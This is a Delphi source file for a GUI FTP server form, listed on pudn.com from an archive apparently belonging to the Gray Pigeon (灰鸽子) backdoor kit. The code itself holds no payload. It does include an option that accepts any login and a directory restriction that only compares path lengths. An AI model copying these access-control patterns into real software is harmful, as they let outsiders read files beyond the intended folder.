www.pudn.com > 灰鸽子VIP1.2.rar > FTPServerUnit.pas

unit FTPServerUnit; 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, StdCtrls, Mask, SkinBoxCtrls, SkinCtrls, DynamicSkinForm, 
  FtpSrv,FtpSrvC, FileCtrl; 
 
type 
  TFTPServerForm = class(TForm) 
    DSF: TspDynamicSkinForm; 
    Label1: TspSkinStdLabel; 
    FilenameEdit1: TspSkinEdit; 
    Label3: TspSkinStdLabel; 
    UserEdit: TspSkinEdit; 
    Label4: TspSkinStdLabel; 
    PassEdit: TspSkinEdit; 
    Label5: TspSkinStdLabel; 
    BEdit: TspSkinEdit; 
    Label2: TspSkinStdLabel; 
    PortEdit: TspSkinEdit; 
    StartButton: TspSkinButton; 
    StopButton: TspSkinButton; 
    FtpServer1: TFtpServer; 
    CheckBox6: TspSkinCheckRadioBox; 
    Panel1: TspSkinPanel; 
    Memo1: TspSkinMemo; 
    spSkinScrollBar15: TspSkinScrollBar; 
    procedure FtpServer1Authenticate(Sender: TObject; 
      Client: TFtpCtrlSocket; UserName, Password: TFtpString; 
      var Authenticated: Boolean); 
    procedure CheckBox6Click(Sender: TObject); 
    procedure StartButtonClick(Sender: TObject); 
    procedure FtpServer1ChangeDirectory(Sender: TObject; 
      Client: TFtpCtrlSocket; Directory: TFtpString; var Allowed: Boolean); 
    procedure FtpServer1Start(Sender: TObject); 
    procedure FtpServer1Stop(Sender: TObject); 
    procedure StopButtonClick(Sender: TObject); 
    procedure FilenameEdit1ButtonClick(Sender: TObject); 
    procedure FtpServer1ClientConnect(Sender: TObject; 
      Client: TFtpCtrlSocket; AError: Word); 
    procedure FtpServer1ClientDisconnect(Sender: TObject; 
      Client: TFtpCtrlSocket; AError: Word); 
    procedure FtpServer1ClientCommand(Sender: TObject; 
      Client: TFtpCtrlSocket; var Keyword, Params, Answer: TFtpString); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 
 
var 
  FTPServerForm: TFTPServerForm; 
 
implementation 
uses 
Main; 
 
{$R *.dfm} 
 
procedure Logit(sTXT : String); 
begin 
try 
FTPServerForm.Memo1.Lines.Insert(0,DateTimeToStr(Now) + ' - ' + stxt); 
except 
FTPServerForm.Memo1.Lines.Clear; 
FTPServerForm.Memo1.Lines.Insert(0,DateTimeToStr(Now) + ' - ' + stxt); 
end; 
end; 
 
procedure TFTPServerForm.FtpServer1Authenticate(Sender: TObject; 
  Client: TFtpCtrlSocket; UserName, Password: TFtpString; 
  var Authenticated: Boolean); 
begin 
  logit(client.username); 
  if CheckBox6.Checked then 
    begin 
      Authenticated := True; 
      Client.HomeDir := FilenameEdit1.text; 
      Exit; 
    end; 
   if (UserEdit.Text=UserName) and (PassEdit.Text=Password) then 
    begin 
        Authenticated := True; 
        Client.HomeDir := FilenameEdit1.text; 
    end else Authenticated := False; 
end; 
 
procedure TFTPServerForm.CheckBox6Click(Sender: TObject); 
begin 
  if CheckBox6.Checked then 
    begin 
      UserEdit.Enabled :=False; 
      PassEdit.Enabled :=False; 
    end else begin 
      UserEdit.Enabled :=True; 
      PassEdit.Enabled :=True; 
    end; 
end; 
 
procedure TFTPServerForm.StartButtonClick(Sender: TObject); 
begin 
if FilenameEdit1.Text<>'' then 
begin 
   if DirectoryExists(FilenameEdit1.Text) then 
     begin 
       try 
         FtpServer1.Stop; 
         FtpServer1.Port := PortEdit.Text; 
         FtpServer1.Banner :='220 '+BEdit.Text; 
         FtpServer1.Start; 
       except 
          MessageBox(0,Pchar('打开FTP服务出错!端口冲突!'),Pchar('警告'),MB_OK+MB_ICONINFORMATION); 
       end; 
     end else begin 
       MessageBox(0,Pchar('FTP主目录不存在!请重新选择!'),Pchar('警告'),MB_OK+MB_ICONINFORMATION); 
     end; 
end else 
MessageBox(0,Pchar('FTP主目录不存在!请重新选择!'),Pchar('警告'),MB_OK+MB_ICONINFORMATION); 
end; 
 
procedure TFTPServerForm.FtpServer1ChangeDirectory(Sender: TObject; 
  Client: TFtpCtrlSocket; Directory: TFtpString; var Allowed: Boolean); 
begin 
    logit('CD '+Client.Directory); 
    if length(Client.Directory) < length(client.HomeDir) then 
      begin 
        Allowed := FALSE; 
        Exit; 
      end; 
    Allowed := TRUE; 
end; 
 
procedure TFTPServerForm.FtpServer1Start(Sender: TObject); 
begin 
StartButton.Enabled :=False; 
StopButton.Enabled :=True; 
Logit('FTP Started'); 
end; 
 
procedure TFTPServerForm.FtpServer1Stop(Sender: TObject); 
begin 
StartButton.Enabled :=True; 
StopButton.Enabled :=False; 
Logit('FTP Stopped'); 
end; 
 
procedure TFTPServerForm.StopButtonClick(Sender: TObject); 
begin 
try 
  FtpServer1.Stop; 
except 
end; 
end; 
 
procedure TFTPServerForm.FilenameEdit1ButtonClick(Sender: TObject); 
var 
  strCaption, strDirectory: string; 
  wstrRoot: WideString; 
begin 
  strCaption := 'FTP 主目录至...'; 
  wstrRoot := ''; 
  SelectDirectory(strCaption, wstrRoot, strDirectory); 
  if Strdirectory <> '' then 
  begin 
    if copy(Strdirectory, Length(StrDirectory), 1) <> '\' then 
      StrDirectory := StrDirectory + '\'; 
      FilenameEdit1.Text :=StrDirectory; 
  end; 
end; 
 
procedure TFTPServerForm.FtpServer1ClientConnect(Sender: TObject; 
  Client: TFtpCtrlSocket; AError: Word); 
begin 
Logit(client.UserName + ' - ' + client.DataSocket.Addr + ' Connected'); 
end; 
 
procedure TFTPServerForm.FtpServer1ClientDisconnect(Sender: TObject; 
  Client: TFtpCtrlSocket; AError: Word); 
begin 
Logit(client.UserName + ' - ' + client.DataSocket.Addr + ' Disconnected'); 
end; 
 
procedure TFTPServerForm.FtpServer1ClientCommand(Sender: TObject; 
  Client: TFtpCtrlSocket; var Keyword, Params, Answer: TFtpString); 
begin 
Logit(client.UserName + ' - ' + client.DataSocket.Addr + ' ' + Keyword + ' ' + client.directory  + params); 
end; 
 
end.